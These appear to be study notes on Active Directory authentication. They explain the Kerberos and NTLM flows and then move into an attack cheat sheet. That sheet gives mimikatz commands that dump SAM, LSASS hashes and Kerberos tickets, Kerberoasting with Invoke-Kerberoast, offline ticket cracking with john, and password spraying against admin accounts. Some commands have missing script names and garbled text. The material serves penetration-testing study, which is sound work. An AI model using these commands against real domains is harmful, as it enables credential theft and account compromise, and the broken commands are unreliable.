AD Authentication

Some theory first

Authentication types

  • Kerberos
  • NTLM



  1. Client sends an authentication server request to DC (KDC - key distribution center). The request is a timestamp hashed with user's password plus the username.
  2. DC answers to the client with a success when the decrypted timestamp is not a duplicate.
    • The reply consists of a session key and a Ticket Granting Ticket (TGT)The session key is encrypted with client's password hash.
    • The TGT contains details about the user, groups, domain, etc, and also the session key.
    • TGT is encrypted with a key known only to KDC.
    • TGTs are valid for 10h by default, renewal doesn't require entering password.
  3. Client sends a Ticket Granting Service request to DC, consisting of user and timestamp encrypted with session key as well as SPN of resources and encrypted TGT
  4. DC decrypts the TGT (with the key known to KDC). The session key is extracted and used to decrupt username and timestamp of the request. DC checks then the following:
    • valid timestamp
    • username of the request match username from TGT
    • client IP needs to match with TGT IP And sends back to the client the Ticket Granting Service reply that consists of:
    • SPN details (encrypted with the session key associated with the creation of TGT)
    • session key to be used between client and SPN (encrypted with the session key associated with the creation of TGT)
    • service ticket containing username, group and newly generated session key (encrypted with the password hash of the service account)
  5. Client sends an application request containing the username and timestamp encrypted with the session key assosiated with the service ticket and the service ticket itself
  6. Application server decrypts the service ticket with the account password hash and extracts the username and session key. If the username from the ticket matches the one decrypted from the request, the request is accepted. Then the permissions are checked.


Used when client authenticates by IP address (instead of a hostname) or if the user attempts to authenticate to a hostname that is not registered on the AD integrated DNS server.


  1. Client calculates NTLM hash (based on user's password)
  2. Client sends the username to Application Server
  3. Application Server responds with a "nonce" (which is a random value) to the client
  4. Client encrypts the nonce with NTLM hash and sends it back to the application server
  5. Aplication Server sends the encrypted response, username and nonce to DC
  6. DC encrypts the nonce with NTLM hash of the user and compares it with the response
  7. If all matches, DC sends back the "Approve Authentication" to the Application Server


We need to have a hash stored in the SAM. This can be done by "making" an admin to use their credentials on your system. No admin privileges are needed for this attack.

Cached Credential Storage and Retrieval

We can use mimikatz but it needs to run as SYSTEM. Best to run it using an injector like Invoke-ReflectivePEInjection or dump the entire LSASS process memory and load it to mimikatz in another machine.

Getting hashes and tickets with mimilatz

mimikatz.exe # from cmd with elevated privileges

# useful mimikatz commands

privilege::debug # requires admin; allows for SAM inspection (hashes, tickets,etc)

token::elevate # goes from admin (high itegrity) to system (system integrity)

lsadump::sam # dumps the content of SAM database

sekurlsa::logonpasswords # dumps the hashes
sekurlsa::tickets # dumps the tickes

Creating a ticket

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList '<SPN>' # e.g. 'HTTP/'

Listing tickets


Grabbing Service Tickets

# in mimikatz.exe
kerberos::list /export
# alternative using an API:

Alternatives to Mimikatz

Import-Module .\Invoke-Kerberoast.ps1

Invoke-Kerberoast -OutputFormat john | Select-Object -ExpandProperty hash |% {$_.replace(':',':$krb5tgs$23$')} | Out-File -Encoding ASCII hashes.kerberoast

Cracking Service Tickets


python /usr/share/kerberoast/ <word_list> <service_ticket_file>


# if using the tickets from mimikats, need to use kirbi2john first:
python <service_ticket> > <john_output>

# and then just:
john --format=krb5tgs '<hashes_kerberoast>' --wordlist=wordlist.txt

Password Attacks

Low and slow

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
New-Object System.DirectoryServices.DirectoryEntry($SearchString, "jeff_admin", "Qwerty09!")

Alternative: Spray-Passwords.ps1 Test all admin accounts in the AD which have a given password:

.\Spray-Passwords.ps1 -Pass Qwerty09! -Admin